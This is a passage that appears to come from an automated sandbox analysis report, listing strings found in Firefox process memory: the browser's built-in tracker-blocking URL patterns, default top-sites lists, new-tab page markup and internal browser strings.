"*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1051000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: current application version: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Something tried to use the search service before it finished initializing. Please examine the stack trace to figure out what and where to fix it: equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: current application version: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Something tried to use the search service before it finished initializing. Please examine the stack trace to figure out what and where to fix it: equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: current application version: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Something tried to use the search service before it finished initializing. Please examine the stack trace to figure out what and where to fix it: equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: devtools/client/framework/devtools-browserresource://devtools/shared/security/socket.jsDevTools telemetry entry point failed: DevToolsStartup.jsm:handleDebuggerFlag@mozilla.org/dom/slow-script-debug;1devtools/client/framework/devtoolsresource://devtools/server/devtools-server.jsFailed to listen. Listener already attached.@mozilla.org/network/protocol;1?name=default^([a-z+.-]+:\/{0,3})*([^\/@]+@).+Got invalid request to save JSON dataWebChannel/this._originCheckCallback^([a-z][a-z0-9.+\t-]*)(:|;)?(\/\/)?browser.fixup.domainsuffixwhitelist.devtools.performance.popup.feature-flag{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}devtools.debugger.remote-websocketFailed to listen. Callback argument missing.No callback set for this channel.releaseDistinctSystemPrincipalLoaderUnable to start devtools server on JSON Viewer's onSave failed in startPersistenceFailed to execute WebChannel callback:@mozilla.org/uriloader/handler-service;1browser.fixup.dns_first_for_single_words@mozilla.org/network/protocol;1?name=filebrowser.urlbar.dnsResolveFullyQualifiedNames^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]|$)get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_FORCE_ALTERNATE_URIdevtools.performance.recording.ui-base-url@mozilla.org/uriloader/local-handler-app;1http://win.mail.ru/cgi-bin/sentmsg?mailto=%sextractScheme/fixupChangedProtocol<resource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/async-stream-copier;1resource:///modules/BrowserWindowTracker.sys.mjshttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/dbus-handler-app;1{33d75835-722f-42c0-89cc-44f328e56a86}isDownloadsImprovementsAlreadyMigratedhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sgecko.handlerService.defaultHandlersVersion{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/JSONFile.sys.mjshttp://poczta.interia.pl/mh/?mailto=%shandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/NetUtil.sys.mjshttp://www.inbox.lv/rfc2368/?value=%shttps://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeeded@mozilla.org/uriloader/web-handler-app;1@mozilla.org/network/file-input-stream;1_finalizeInternal/this._finalizePromise<resource://gre/modules/JSONFile.sys.mjsCan't invoke URIFixup in the content processhttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjsScheme should be either http or httpsresource://gre/modules/FileUtils.sys.mjsMust have a source and a callback@mozilla.org/network/input-stream-pump;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLnewChannel requires a single object argumentFirst argument should be an nsIInputStream@mozilla.org/intl/converter-input-stream;1https://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.alwaysAskBeforeHandlingNon-zero amoun
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B0643000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: doff-text" data-l10n-args="{&quot;engine&quot;: &quot;Google&quot;}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;YouTube&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B0643000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: doff-text" data-l10n-args="{&quot;engine&quot;: &quot;Google&quot;}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;YouTube&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: findUpdates() - found update for onPrefEMEGlobalEnabledChanged() id=onPrefEnabledChanged() - removing gmp directory uninstallPlugin() - unregistering gmp directory @mozilla.org/addons/addon-manager-startup;1webcompat-reporter%40mozilla.org:1.5.1*://static.criteo.net/js/ld/publishertag.js*://*.imgur.com/js/vendor.*.bundle.js@mozilla.org/network/safe-file-output-stream;1*://www.rva311.com/static/js/main.*.chunk.js*://*.imgur.io/js/vendor.*.bundle.js*://libs.coremetrics.com/eluminate.jsresource://gre/modules/FileUtils.sys.mjs*://web-assets.toggl.com/app/assets/scripts/*.jshttps://smartblock.firefox.etp/play.svg@mozilla.org/network/atomic-file-output-stream;1FileUtils_openSafeFileOutputStream*://connect.facebook.net/*/sdk.js**://connect.facebook.net/*/all.js*FileUtils_closeAtomicFileOutputStream*://www.everestjs.net/static/st.v3.js*FileUtils_closeSafeFileOutputStreamresource://gre/modules/addons/XPIProvider.jsmpictureinpicture%40mozilla.org:1.0.0*://track.adform.net/serving/scripts/trackpoint/@mozilla.org/network/file-output-stream;1webcompat-reporter@mozilla.org.xpihttps://smartblock.firefox.etp/facebook.svg*://auth.9c9media.ca/auth/main.js*://static.chartbeat.com/js/chartbeat.js*://pub.doubleverify.com/signals/pub.js**://c.amazon-adsystem.com/aax2/apstag.jsresource://gre/modules/AsyncShutdown.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6FBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
